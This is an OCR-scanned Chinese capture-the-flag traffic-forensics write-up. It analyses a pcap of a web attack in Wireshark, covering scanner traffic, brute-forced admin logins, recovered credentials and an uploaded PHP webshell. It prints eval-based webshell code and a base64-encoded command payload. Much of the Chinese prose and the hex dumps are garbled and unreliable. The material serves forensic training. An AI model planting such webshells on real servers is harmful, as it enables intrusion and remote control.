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— BHER
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. BEREAREHS
2. BEAMIMBHRES
3. BEZMwebs & A ARKS %S (JEx:username/password)
4. BE bFfEHwebshell X4 . WA UKL AN Kbasedwid

5. EZI 3 Hrobots.txtH fiflag

6. FREIR B MBI E A

7. BRI E T HBIhash_code

8. BEBEIKSijnu@test.comfF B )25

9. BRI HIweb k555 i - e B A0 = py Y IP

10, BEEM T mail RA AT H MK S %L B username/password)
1. BEIRBHVPNRIP

— BHER

KATRI NP B REZEE, FRTH, BEELALET —Gwebls58, BT ESHIK, G, A HBENIKSHHEE
Ffi Tmail 248, RJEIRET vpniI BB, MG B Tvpn, EAMpwnisE T — & ITEINL, HRER MR ECEE THEHA KH
i

. KRAIR

1 RAFAMMEYREZBE, FONRE, SiRBEERRARMS

2 BAFRINMMEHEBEESE, BEONMRE, BIRZAMBINENE S RN BER )

SEAFTAMMBWREFEIE, WOTRE, BEREMEN T HAKSELER T web/F & (&3 .userame/password)

4 FAT MM REBE, WOTRE, B3R % LiefwebshelXXfh &2, WAERM A IR webshell A & Hibaseswid
5 EAFAMME W REEBIE, EOTRE, BELErobots .t kB Kiflagt4

6 EAFAMMBWRFEE, FEONTRE, BERINLEEEEGRS D
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7 BRI AMMERFERZBE, BEONRE, BEAREEDHRBhash_codeft4

8 XAFR MMM EHEBEEBE, EOTRE, BEWE T K Sinu@test.com?B 2l & H R4

9 EAFAMMERBEEE, EHTRE, HREFRTRIwebRF R, MREERRMA, REIM-FARMIp

10 AT MM BEBE, BoiE, BEMEHTHAKSHEEER T mail&4 (& username/password)
1M1 AT MM BEREE, HOTRE, BEREHnipRZ /D>

=, BETE

1. BEERARAES

{T7Fwebone.pcapiii &8, #ZIRHMURMZ—~E#l. HFFhtpth AR, KT 9 EHAVWS TR SFHE.

M webonepeap - O >
IR REE HBN BEG BRO simA) smrs BEY ZEw IEM #2EH
AW 2@ RE Qe=s=F oSEaqaan
[ |http [X] -] ikt +
Ho. Time Source Testination Protocoel Length Info A
37.. 2828.829.. 192.168.94.59 192.168.32.189 HTTP 248 GET /page.php?id=1 HTTP/1.1
37.. 2828.056.. 192.168.32.189 192.168.94.59 HTTP 231 HTTP/1.1 288 OK (text/html)
37.. 2844 .6l6.. 192.168.94.59 192.168.32.189 HTTP 248 GET /page.php?id=1 HTTP/1.1
37.. 2844 . 641. 192.168.32.189 192.168.94.59 HTTP 231 HTTP/1.1 288 OK (text/html)
ﬁ* 38.. 2915.247. 192.168.94.59 192.168.32.189 HTTP 338 GET Jacumetix-wvs-test-for-some-inexistent-..
I 38.. 2915.247.. 192.168.94.59 192.168.32.189 HTTP 296 GET / HTTP/1.1
q%—BBm 2915.248.. 192.168.32.189 192.168.94.59 HTTP 554 HTTP/1.1 484 Not Found (text/html)
¢ 38.. 2915.278.. 192.168.32.189 192.168.94.59 HTTP 59 HTTP/1.1 208 OK (text/html)
i 38.. 2917.471.. 192.168.94.59 192.168.32.189 HTTP 369 GET / HTTP/1.1 o
Frame 3835: 338 bytes on wire (2784 bits), 338 bytes captured (2784 bits) ~

Ethernet II, Src: Hangzhou 39:42:ed (bB:f9:63:39:42:ed), Dst: Vmware_cb:9f:85 (B0:8c:29:cb:9f:85)

Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189

Transmission Control Protocol, Src Port: 1116, Dst Port: 88, Seq: 1, Ack: 1, Len: 284

~ Hypertext Transfer Protocol

GET /acunetix-wvs-test-for-some-inexistent-file HTTP/1.1\r\n
User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64) ApplellebKit/537.21 (KHTML, like Gecko) Chrome/41.8.2228.8 Safa.
Pragma: no-cache\ri\n
Host: 192.168.32.189\r\n
Connection: Closel\r\n
Accept-Encoding: gzip,deflate\r\n

Accant: */*\pin N
B0 Bc 29 cb 9f 85 bB f9 63 39 42 ed B8 6O A5 60 0 EEEEE c9B- - -E- ~
81 44 6c 3c 40 00 7f B6 Be 2e cPb aB Se 3b O ad Dl<@--- -.--"; -

20 bd 84 56 BB 58 d6 ad 41 59 76 9b 2a 54 56 18 ~VLP-- AYV-* TP

80 44 80 ef @8 8@ 47 45 54 28 2f 61 63 75 6e 65 -D----GE T facune
74 69 78 2d 77 76 73 2d 74 65 73 74 2d 66 6f 72  tix-wvs- test-for
2d 73 6f 6d 65 2d 69 6e 65 78 69 73 74 65 6e 74  -some-in existent
2d 66 B9 6c 65 20 48 54 54 58 2f 31 2e 31 Bd @a -file HT TP/1.1- -
55 73 65 72 2d 41 67 65 ©6e 74 33 20 4d 6f 7a 69  User-Age nt: Mozi
6c 6c 61 2f 35 2e 3@ 20 28 57 69 6e 64 6f 77 73 11a/5.8 (Windows
20 4e 54 20 36 2e 31 3b 28 57 4f 57 26 34 29 20 NT 6.1; WoWed)

41 78 78 bc 65 57 65 62 4b 69 74 2f 35 33 37 2 Appleleb Kit/537.
32 31 20 28 4b 48 54 4d Ac 2c 28 6c 69 6b 65 20 21 (KHTM L, like

g LY
2Bty =
@ 7 ebone posp || 44 7ae0ze - 2EF: 140933"(@'31'5”{‘&%?55[&{'

B http contains acunetix 4R LR INE LawvsHIHFAE, i BE 2 HawvsH a7 HFER .
IR, T 45 0 BB 2 B A P B IP b AT R 192.168.94.59 , iXAMPHuLER|EESH —EHVEM .

M webone.pcap — O w0
MR FEE MEN B0 B0 o) S BEY) FZEw) IEM #EEH)

AW ® REevc=gaEEaaan

([ [htty contains scunetin [X] -] EAE 4+




Ho. Time Souree Destination Frotocol Length Infe [
38.. 2915.247.. 192.168.94.59 192.168.32.189 HTTP 338 GET facunetix-wvs-test-for-some-inexistent-..
:t 38.. 2915.248.. 192.168.32.189 152.168.94.59 HTTP 554 HTTP/1.1 484 Not Found (text/html)
1 39.. 2920.708.. 192.168.94.59 192.168.32.189 HTTP 1548 GET / HTTP/1.1 —
! 410.. 2928.907.. 192.168.94.59 192.168.32.189 HTTP 385 GET http://www.acunetix.wvs HTTP/1.1
! 49.. 2920.911.. 192.168.94.59 152.168.32.189 TCP 386 1142 -+ 8@ [PSH, ACK] Seg=1 Ack=1 Win=17408 ..
! 42.. 2921.252.. 192.168.94.59 192.168.32.189 HTTP 297 GET /index HTTP/1.1 ||
! 42.. 2921.273.. 192.168.94.59 192.168.32.189 HTTP 299 GET /default HTTP/1.1 |
! 78.. 2925.679.. 192.168.94.59 152.168.32.189 HTTP 971 POST /cgi-bin/php?%2DX6d+X61%6CHOCHEFXTTX5F... v
Frame 3835: 338 bytes on wire (2784 bits), 338 bytes captured (2704 bits) "
Ethernet II, Src: Hangzhou 39:42:ed (bB:f9:63:39:42:ed), Dst: Vmware cb:9f:85 (88:0c:29:cb:9f:85)
Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189
Transmission Control Protocol, Src Port: 1116, Dst Port: 88, Seq: 1, Ack: 1, Len: 284
~ Hypertext Transfer Protocol
GET /acunetix-wvs-test-for-some-inexistent-file HTTP/1.1%r\n
User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64) ApplelWebKit/537.21 (KHTML, like Gecko) Chrome/41.8.2228_8 Safari
Pragma: no-cache\ri\n
Host: 192.168.32.189\r\n
Connection: Close\rin
Accept-Encoding: gzip,deflatel\r\n
Accept: *=/*\r\n W
< »
41 79 78 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e  Appleleb Kit/537. ]
32 31 28 28 4b 48 54 4d 4c 2c 20 6¢c 69 6b 65 20 21 (KHTM L, like

47
2e
2f
20

65
30
35

63
2e
33
6f

&b
32
37
2d

6f
32
2e
63

29 20
32 38
32 31

43
2e
ad

68
30
Ba

72
20
5@

43
65
be
ad
Ba

73
69
65
ad

ad
67
Ba

63 63
&7 7a
63 65
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Gecko) C hrome/41
.8.2228. B Safari
/537.21- -Pragma:
no-cach e--
192.168 .32.189-
HConnect ion: Clo
se--Acce pt-Encod
ing: gzi p,deflat
e--Accep t: */*..

@ 7 HITP Host (http. host), 22 ==3%

2, BEAMIANERE &

B G G99% M F I =2 posT 77k, HEMEAEIEREIE.

http.request.method

M webone.peap
H(F) WE\E) WANV) PG HWICQ) HWA)  HHS)

Am i@ RERexs=zf 25 Eaqan

BE(y) EEW) IR EEH)

18R TIE029

W
e o D R—_
- 2T 3163?"(4‘.3'[%!)rl‘ﬁ{ﬁ):rmtra'ui‘t"l

[ [nttp. request. method="POST”

I3 Ti Source Testination Frotoss] Length Info

- 86 54.823928
499 390.0149..
872 418.8542...

12.. 608.7543..

14. 723.3313.
19.. 962.0422..
39.. 2920.710.
52.. 2922.429..

53.. 2922.529..
68.. 2924.151.
72.. 2924.636..

192.168.94.233
192.168.94.233
192.168.94.233
192.168.94.233
192.168.94.233
192.168.94.233
192.168.94.59
192.168.94.59
192.168.94.59
192.168.94.59
192.168.94.59

192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189

HTTP

HTTP
HTTP 174@ POST /admin/article.php?rec=update HTTP/1.1
HTTP

HTTP

HTTP 1@9@ POST /admin/backup.php?rec=backup HTTP/1.1
HTTP

HTTP 425 POST /_vti_bin/shtml.exe?_vti_rpc HTTP/1.1
HTTP 426 POST /_vti_bin/_vti_aut/author.dll HTTP/1.1
HTTP 324 POST / HTTP/1.1

HTTP

753 POST /admin/login.php2rec=login HTTP/1.1 (application/x-wmau-form-urlencoded)
753 POST /admin/login.php2rec=login HTTP/1.1 (application/x-mau-form-urlencoded)

1381 POST /admin/page.php2rec-update HTTP/1.1 (application/x-ww-form-urlencoded)
1163 POST /admin/page.php2rec-update HTTP/1.1 (application/x-wm-form-urlencoded)

(application/x-wwme-form-urlencoded)

426 POST /console/j_security_check HTTP/1.1 (application/x-wwi-form-urlencoded)

(application/x-wwme-form-urlencoded)
(application/x-wm-form-urlencoded)

738 POST /admin/login.php2rec=login HTTP/1.1 (application/x-mau-form-urlencoded)

Frame 86: 753 bytes on wire (6024 bits), 753 bytes captured (6024 bits)
Internet Protocol Version 4, Src: 192.168.94.233, Dst: 192.168.32.189

Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-wwu-form-urlencoded
Form item: "user_name” = "AZE"
Form item: "password” = "hr123456"
Form item: "submit” = "HF"

Transmission Control Protocol, Sre Port: 54744, Dst Port: 80, Seq: 1, Ack: 1, Len: 699

Ethernet II, Src: Hangzhou_39:42:ed (b@:f9:63:39:42:ed), Dst: Vmware_cb:9f:85 (8:@c:29:ch:9+:85)

00 Oc 29 cb 9F 85 be f9
02 e3 48 93 48 @8 7F 06
20 bd dS d8 @@ 58 67 7a
50 @1 9@ 16 e6 @0 @9 50 A
40 6e 2f 6c 6F 67 69 6e 2e
S0 6C 6F 67 69 6e 20 48 54
48 6F 73 74 3a 20 31 39
2e 31 38 39 @d @2 43 6F
32 20 6b 65 65 78 2d 61
6e 74 65 6e 74 2d 4c 65
0d 02 43 61 63 68 65 2d
20 6d 61 78 2d 61 67 65
63 6e 32 20 68 74 74 7@
36 38 2e 33 32 2e 31 38
64 65 2d 49 6e 73 65 63

6% 72 74 72 24 78 21 a4

63 39 42 ed 08 00 45 00
af 8a c@ a8 Se e9 @ a3
68 44 7c af a8 44 50 18
53 54 20 2f 61 64 6d 69
70 68 70 3f 72 65 63 3d
54 50 2f 31 2e 31 0d Oa
32 2e 31 36 38 2e 33 32
6e Ge 65 63 74 69 6F Ge
6c 69 76 65 @d @a 43 6F
6e 67 74 68 3a 20 37 32
43 6f 6e 74 72 6f 6¢ 3a
3d 30 0d 9a 4F 72 69 67
3a 2F 2F 31 39 32 2e 31
39 @d @a 55 70 67 72 61
75 72 65 2d 52 65 71 75

G~ A2 EE En TA ER En T4

) 98- E

H-@ A
Pgz hD|--DP
PO ST /admi

n/login. php2rec=
login HT TP/1.1
Host: 19 2.168.32
.189- -Co nnection
: keep-a live- Co
ntent-Le ngth: 72
Cache- Control:
max-age =0--Orig
in: http ://192.1
68.32.18 9- -Upgra
de-Insec ure-Requ

nnnnnn Fantant



100 24 54 79 7@ 65 3a 20 61 7@ 70 6c 69 63 61 74 69 -Type: a pplicati ) v
@ 7 webone poap A 76020 - BT 10 (0.48) I b«

W FFTE rec=login K E, ELBEEETCPH, WREFRI02EE M, HEARRRREMEI.

M Wireshark - 882 TCP 5 (tcp.stream eq 4) - webone.pcap — O >

POST /fadmin/login.php?rec=login HTTP/1.1

Host: 192.168.32.189

Connection: keep-alive

Content-Length: 72

Cache-Control: max-age=0

Origin: http://192.168.32.189

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 6.1; Winb4; x64) ApplelebKit/537.36
(KHTML, like Gecko) Chrome/68.8.3448.84 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/
webp,image/apng,*/*;q=0.8

Referer: http://192.168.32.189/admin/login.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=9c®akmacloop7t2itcssdmvm2

user_name=%EAXBAXBAXEAXBAXSB&password=hrl123456&submit=XE7¥99%BBXESKEDXOSHTTP
/1.1 382 Found

Date: Wed, 88 Aug 2018 ©6:35:42 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45

Expires: Fri, 14 Mar 1980 20:53:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Last-Modified: Wed, B8 Aug 2818 ©6:35:42 GMT
Location: http://192.168.32.189/admin/index.php
Content-Length: @

Connection: close

Content-Type: text/html; charset=utf-8

I ESM A, 1 BEE A, 1 turnis).

B (1089 bytes) w ETANRTFEHIES  ASCII |
T | | EgT— ]
MERHR || fTE) | [ See e || BE | |GSEq @ Jonfee.C

A LAE BB AR 302&EER T .
WA RERE, FHETHEREZE 302&Em KRR, WAEK.

3. BREEMiwebfs & HKIKSHEN (JEA:username/password)

Bid EEKMER, RMBERE 302@Eem BEMRIINER, BREAFANIKSEN, ATHEREMEAN, REE GHER
HEZipthil 192.168.94.59 , A H EEE RN EFRMEFTE rec=login , FHIRAERHITIEIERTIE,

http.request.method and ip.src==192.168.94.59 and http contains

M webone.pcap - x
XHE BEO AEV) BEG) RO SFA) S BEY BEW IR0 BEH)
aAmg® RERe==F L5 EQAQaE

[ http request method—"FOST" and ip sro—I62 166 84 59 and http conteins ‘reo-login’ BT ) ik

>+

¥o Tine Sewrce Destination Frotocel Length Info

3. 5623.712.. 192.168.94.59 192.168.32.189 HTTP 733 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-form-urlencoded)
73.  5623.728.. 192.168.94.59 192.168.32.189 HTTP 734 POST /admin/login.php?rec=login HTTP/1.1 (application/x-www-form-urlencoded)
73.  5623.737.. 192.168.94.59 192.168.32.189 HTTP 736 POST /admin/login.php2rec=login HTTP/1.1 (application/x-www-form-urlencoded)
73. 5623.737.. 192.168.94.59 192.168.32.189 HTTP (application/x-www-form-urlencoded)
5623.747.. 192.168.94.59 192.168.32.189 HTTP (applicati -form-urlencoded)
562 8. 192.1 5 192 HTTP n HTTP/1.1 (applicatio
8. HTTP/1.1 (applicatiol




192.168.32.189

HTTP 731

HTTR. 754 POST /admin/login.php?rec=login HTTR/1.1

~form-urlencoded)
(application/x-wm-form-urlencoded)

<

Form item: “user_name" =
Form item: “password” =

“admin™

“admin!@#pass123”

Form item: “submit” - "ER"

Frame 733517: 754 bytes on wire (6832 bits), 754 bytes captured (6832 bits)

Ethernet II, Src: Hangzhou 39:42:ed (b@:9:63:39:42:ed), Dst: Vmware cb:9f:85 (0@:8c:29:cb:9f:85)

Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189

Transmission Control Protocol, Src Port: 12628, Dst Port: 88, Seq: 1, Ack: 1, Len: 780

Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-wwn-forn-urlencoded

2a 3b 71 3d 3@ 2e 38 @d
3a 20 68 74 74 78 3a 2f
2e 33 32 2e 31 38 39 2f
67 69 6e 2e 70 68 70 @d
45 6e 63 6f 64 69 6e 67
64 65 66 6c 61 74 65 @d
4c 61 6e 67 75 61 67 65
7a 68 3b 71 3d 3@ 2e 39
3a 20 50 48 50 53 45 53

Ba 52 65 66 65 72 65 72
2f 31 39 32 2e 31 36 38
61 64 6d 69 6e 2f 6c 6f
Ba 41 63 63 65 70 74 2d
3a 20 67 7a 69 70 2c 20
Ba 41 63 63 65 70 74 2d
3a 20 7a 68 2d 43 de 2¢c
@d Ba 43 6f 6f 6b 69 65
53 49 44 3d 61 6d 32 39

*;q-0.8- -Referer
: http:/ /192.168
.32.189/ adnin/lo
gin.php- -Accept-
Encoding : gzip,
deflate- -Accept-
Language : zh-CN,
zh;q=0.9 - -Cookie
: PHPSES SID=am29

67 72 38 6b 74 68 64 66 63 67 62 61 6f 65 65 66  gr8kthdf cgbaceef
7@ 67 67 76 37 34 @d @a @d @a 75 73 65 72 5f be  pggv74-- - -user_n
61 6d 65 3d 61 64 6d 69 6e 26 78 61 73 73 77 6f ame=admi n&passwn

02ce 25 34 30

02de 5 62 6d 69

02e0 25 45 37 25 39 39 25 42 42 25 45 35 25 42 44 25 %E7%99%B BXES%BD%

02f0 39 35 95

M
@ 7 DU Forn URL Bncoded (urlencodsd-forn), 72 34 || 48 e0zs - BEF: z500 (03%) P R et

HT B E, FERD 302E e BMRE, BT EIETCPRXMITEAIME, FMRELERIMUENEZRK,
HEBERE - MAENTCPH (—BBERNERITENEEG, MAX%%E) , WRERHA e2&Em , B2 LTEHR
SR B A BA T & Z RS A ERD

M Wireshark - 385 TCP 5% (tcp.stream eq 71841) - webone.peap - O =

POST /admin/login.php?rec=login HTTP/1.1

Host: 192.168.32.189

Connection: keep-alive

Content-Length: 72

Cache-Control: max-age=0

Origin: http://192.168.32.189

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) ApplellebKit/537.36
(KHTML, like Gecko) Chrome,/67.8.3396.62 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
webp,image/apng,*/*;q=0.8

Referer: http://192.168.32.189/admin/login.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=am29gré8kthdfcgbaceefpggviid

user_name=admindpassword=admin®21%48%23pass123&submit=XE7¥O9%BBXESKEDXOSHTTP
/1.1 382 Found

Date: Wed, 88 Aug 2018 ©8:11:45 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45

Expires: Fri, 14 Mar 1980 20:53:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Last-Modified: Wed, B8 Aug 2818 ©8:11:45 GMT
Location: http://192.168.32.189/admin/index.php
Content-Length: @

Connection: close

Content-Type: text/html; charset=utf-8

£ TIIEIT. 1 &AW H45, 1 FEE #E, I tun(s) A5EE.
BEAPHE (1090 bytes) o

- |

STAMRIESEN M5OI | 3%

| ET—1w]
B C Sk @ Jobfebry G

R $IE7

Save a=z"'t




A UE B RE—/MNRER 3028k , EEHIH —KE WA BEEHweb/a & FT i A K 5 & iE R
(admin/admin! @#pass123)

4. BE FEFwebshellst 4. WA UL K& W& K basesn 5

webshelltb gl & —AiEARS, MiEE —AERDHFERN <?php @eval($_POST['pass’']); ?> .
Seidid i PEE A AT S U8
http.request.method

and ip.src==192.168.94.59 and http

M webone.pcap - x
ZHF) REE WBNV) BEG) BRO) SR fotS) By EEW IEM EEH)

AmI® REQe=2=F s 5[Eaaan

T R tp. request. nethed—"POST" snd ip. sre—102. 163, 54,59 and hitp B o) &®iat- |+
o Tine Seurce Destination Protocol Length Info =.
73.  5789.718. 192.168.94.59 192.168.32.189 HTTP 634 POST /admin/cloud.php?rec-update_number HTTP/1.1 (application/x-wmau-form-urlencoded) =
73.  5817.763. 192.168.94.59 192.168.32.189 HTTP 754 POST /admin/login.php?rec=login HTTP/1.1 (application/x-ww-form-urlencoded) =
73.  5833.09.. 192.168.94.59 192.168.32.189 HTTP 643 POST /admin/cloud.php?rec=update_number HTTP/1.1 (application/x-wa-form-urlencoded) =
3. 5936.657.. 192.168,94.59 192.168.32.189 HTTP 731 POST /images/articlefa.php HTTP/1.1 (application/x-wmi—form-urlencoded) —
73.  5939.485. 192.168.94.59 192.168.32.189 HTTP 795 POST /images/article/a.php HTTP/1.1 (application/x-wmw—form-urlencoded)

73.  5941.344. 192.168.94.59 192.168.32.189 HTTP 795 POST /images/articlefa.php HTTP/1.1 (application/x-wwmi-form-urlencoded) -
73.  5982.587.. 192.168.94.59 192.168.32.189 HTTP 453 POST /images/article/a.php HTTP/1.1 (application/x-www-form-urlencoded) =

3. 5992.0826.. 192.168.94.59
73.  5992.026. 192.168.94.59
73. 6004.768.. 192.168.94.59
3. 60086.278.. 192.168.94.59

192.168.32.189 HTTP
192.168.32.189 HTTP.
192.168.32.189 HTTP
192.168.32.189 HTTP

779 POST /images/article/a.php HTTP/1.1 (application/x-wmw—form-urlencoded)
779 POST /images/article/a.php HTTP/1.1 (application/x-www-form-urlencoded)
761 POST /images/articlefa.php HTTP/1.1 (application/x-wmi—form-urlencoded)
761 POST /images/article/a.php HTTP/1.1 (application/x-wmw—form-urlencoded) —

Frame 733932: 731 bytes on wire (5848 bits), 731 bytes captured (5848 bits)
Ethernet II, Src: Hangzhou_39:42:ed (b@:9:63:39:42:ed), Dst: Vmware_cb:9f:85 (9@:0c:29:cb:9F:85)
Internet Protocol Version 4, Src: 192.168.94.59, Dst: 192.168.32.189
Transmission Control Protocol, Src Port: 12855, Dst Port: 8@, Seq: 246, Ack: 1, Len: 677
[2 Reassembled TCP Segments (922 bytes): #733938(245), #733932(677)]
Hypertext Transfer Protocol
v HTHML Form URL Encoded: application/x-wwn-forn-urlencoded
Form item: "1234" = "@evalB(base6d_decode($_POST[action]));"

20 bd 32 37 00 50 87 b4
00 44 36 15 00 00 31 32
01 28 62 61 73 65 36 34
24 5F 5@ 4F 53 54 Sb 61
3b 26 61 63 74 63 6F e
7a Sa 58 51 6F 48 6d 52
66 Sa 58 42 79 62 33 4a
70 4F 38 42 72 Sa 58 52
73 61 57 31 70 64 43 67
30 58 32 31 68 S5a 32 6¢
6c 63 31 38 79 64 57 35
70 4F 32 56 62 61 47 38
43 49 70 4 7a 73 6b 52

11 e3 a9 @f 23 8a 50 18
33 34 3d 40 65 76 61 6
SF 64 65 63 6F 64 65 28
63 74 69 6f 6e 5d 29 29
3d 51 47 6c 75 61 56 39
70 63 33 42 73 59 58 6¢
7a 49 69 77 69 4d 43 49
66 64 47 6c 74 5a 56 39
77 4b 54 74 41 63 32 56
6a 58 33 46 31 62 33 52
30 61 57 31 6c 4b 44 41
6F 49 69 30 25 32 42 66
44 31 6b 61 58 4a 75 59

27 P
D6- - 12 34=@eval
(base64 _decode(
$_POST[a ction]))
;8action =QGluaVd
2ZXQoInR pc3BsYXL
FIXIyb3] 2TiwiMCI
pO@BZZXR fdGLtZV9
salilpdCg wKTtAC2V
0X21h721 JX3F1b3R
1c19ydW5 @ali11KDA
p02VjaG8 oIi0%26¢
CIpOzskR DlkaXJuY

Form item: “action” = "QGluaV9zZXQoImRpc3BsYX1fZXJyb31zLiwiMCIpOBBzZXRFdGLEZVISak1pdCgwKTtAc2VeX21hZ21 X3F1b3R1c19ydW50al11KDAPO2V aGBoi0+FCIp0zskRD1kaXIUYWL1KCRFUBVSVKVSHYITQLIIUFRFRKIMRUSBTUUIXSk7alY0] EQIPSTiKSREPWRpCcmShbWUOIFOTRY]
< >
© 8@ Bc 28 cb 9F 85 be 3 63 39 42 ed 03 00 45 00 -)----- c9B.--E- B

02 cd 23 ef 40 00 7 06 d4 2 O a8 Se 3b @ a8 @ 0y

v

CSDN Gghnnyd.

Frame (731 bytes)  Keassenl bled TCP (522 bytes)

@ & vcbone o || 98 36029 - 2 2303 0.48)

BEEKNXEHMXBEEARER, RNT —FEsES (B AR EET —HaphpXh (—&ASE AR A EEPHP
X, R PUEMA R BFESE R LERE LEKRD,
ELBETCPH, KM —A1E AL HKFER @eval. (base64_decode($_POST[action])) » BHIAXHLRE—HIEARD,

M Wireshark - 385 TCP 5% (tcp.stream eq 71863) - webone.peap - O =

POST /images/article/a.php HTTP/1.1

User-Agent: Java/1.8.8_171

Host: 192.168.32.189

Accept: text/html, image/gif, image/jpeg, *; gq=.2, */*; q=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 677

1234=geval.

(base6d decode($ POST[action]));&action=0GluaV9zZXQoImRpc3BsYX1FfZXIyb3Jzliwi
MCIpOBBz ZXRFdGltIVIsalilpdCowkKTtACZVEX21hZ21jX3F1b3R1c19ydW58all1KDApO2Vjaik8o
I1i8%2BfCIp0zskRD1kaXJuYW11KCRFUBYSVEVSEy ITQ1IJUFRFREKIMRUSBTUULIXSK7alWYoEQIPS
TiKSREPWRpcmShbWUoJFSTRVIWRVIbI1BBVERFVFIBTINMOQVRFRCIdKTskUj@ieyREFVxBIjtpli
hzdWJ]zdHIoJEQsMCwxkKSESILi8ikXtmb3 11YWNokKHIhbmd1KCIBIiwiWilpIGFzICRMKWImKG1zX2
RpcigieyRMfToikKSkkUid9InskTHBELjt9IFIuPS]cdCI7JHUSKGZ1bmNEaWIuX2VAaXNBcygnch
9zaXhfZ2VeZWdpZCcpKT9AcGIzaXhfZ2VEcHd1aWQoQHBwc214X2d1dGV1akQokSkeIyc7IHVzZC]
BoJHUpPyR1WyduYW1111860QGd1dF9jdX Iy ZWS0XIVz ZXToKTskUid9cGhwX3VuYW11KCk7IFIuPS
IoeyR1c3J9KSI7cHIpbnQgIFI702VjaG8oInw8LSIp02RpZSgpOni%3D%3DHTTP/1.1 200 OK
Date: Wed, 88 Aug 2818 88:13:44 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45




Content—Lenéth: 148
Connection: close
Content-Type: text/html; charset=UTF-8

-»| /var/www/html/images/article Linux
localhost.localdomain 2.6.32-584.23.4.el6.x86 64 #1 SMP Tue Jun 9 28:57:37
UTC 2015 x86_64(apache)|<-

2 & 48, 1 S 4, 1 turn(s)

BAHE (1256 bytes) v STiieEsiEn sco v @
T | | EfiF—1m]
R $IEN Save as' e C Tt @ Johletry G

i kR 1234 8158 E, HAbaseb4MESKINA, BIME (E: %2BR +, TEEHREARBRIIBEE) .

0G1uaV9zZ¥0oInRp 3BT ZETvb 3Tzl iwi NC IpO0BzZXRE A1 tZV9sal 1pdCewk T tAc2V0H21hZ 21 JE3F 1bER1 ¢ 19vdWE0aW 11EDAROZY jat 8ol 1 0
EfCIpOzskRDlkaXIuYWllKCRfUUVSVkVSWYJTQ1JJUFRka1MRU5BTUUiXSk?aWYDJEQQPSIiKSREPWRpcm5hbWUDJF9TRVJWRVJbIlBBVEthFIBTlNH
QVEFRCTAET skUj01evRELVx0I jtpZihzdW JzdHI o JEQsMCwxKSEST 1 BiKXtnb 3T 1Y WNoEH Thbmd 1 EC TBLiwiWilp IGFz ICEMEW1nE Gl zX2FRpcl gl evRNE
ToiKSkkUid9InskTHOBT 319 ]FIuPSTcdCI 7 THUSKGZ 1bmll0aW o2V 4a N0 cyenct 8zakhfZ2V0ZY dpZC epKT 9AcG 9za kh f22V0cHA 1aWloOHE v c21 442
dl dGV 1aWQoKSk6 Jye7 JTHY ze 0o THUpPyE1WyrdufW 11 T 10606 AL dF 8 J X TvZWE 03V ZET ok Tk UL 48 cGhwX3WVu W 1LECK 7 JF TuP SToeyR 1 3J9ESI 7 cHT
pbnlg JFIT02V jaG 80l nwil S I pO2RpZSgpOw

iE= || 0% || B | O AUTF- 8Tk

CSDMN @Jonnny. G

18 3 g X LR php AT .

QGluanzZXQDImeCSBsYXIfZXbeSJzIiwiHCIpOOBzZXRfdGltZVQsaW1pngwKTtAc2VOX21hZ21jXSF1b3Rlc19ydw50aw11KDApO2VjaG80I10=f
CIpOzskRD1ka¥XJuTW11ECREUOVEVVENy JTA 1] JTUFRfRE INRUSBTUUL X5k 7aW ¥ o JEQOP ST 1K SEEPWEp cmbhbWUa JFSTRVIWEV LI LBEVEREVEF JET 1NNQV
RFRCTAETskUj01evREf V0L jtpZihzdW JzdHI o JEQsMCwxESEST1 Bi Kt mb 3T 1 YWHoEH Thbmdl EC TR T i wiWiIpIGFz ICEMEW 1 nEG 1 zX2Epcigi eyENETo
1ESkkU1 49T nsk THOGT j+9]F TuP ST cdCI 7 THUSEGZ Tbmt 0aW Sul2V4ai0cyencG 9zakhf Z2V0ZW dpZCopKTHACG Szakhf 22V 0cHA 1aWlolHBw c 21 43241
dGV1aWloESk6Tye 7 THYzc 00 THUpPwRE 1WydutW11 J10606d1 dF 9 A yZWE 03V Z T ok Tkl 49eGhwX3VuTW 11IECK T JF TuP ST 0evR1c3J9ESI 7 cHIpb
nRAzJFIT02V jat8olnwiLSIp02RpZ Seplw

= || = || = | OmsauTReEEn

PR
0

@ini_set ("display_errors”, Viizet_time_limit(0);@=zet_magic_quotes runtime(0) ;echol”-

>17):: $D=dirname ($_SERVER[”SCRIPT_FILENANE”1):if($D=="")3D=dirname ($_SERVER[“PATH TRANSLATED"])$R="
3Dyt if (substr (3D, 0, 1) 1="/") {foreach(ranze ("A”, 27} as $LIif(is_dir("{3L}:"303R =" {31} :": 1 $R. ="\t fu=
(function_exists( posiz_setezid ))9Mposix_setpwuid(@posix_seteuid()):” " Jusr=(3u)7

$ul’ mame’ 1:@get_current_user () 3R. =php_umame O 3R, =" ( Fusr} )" print 3R; echo (" [<-") die ()

CSDN @Jonnny. G

LRI T DA — A TR AEDhDSR S 0, SR P B VOB i IS A A7 S0



M webone.peap - x
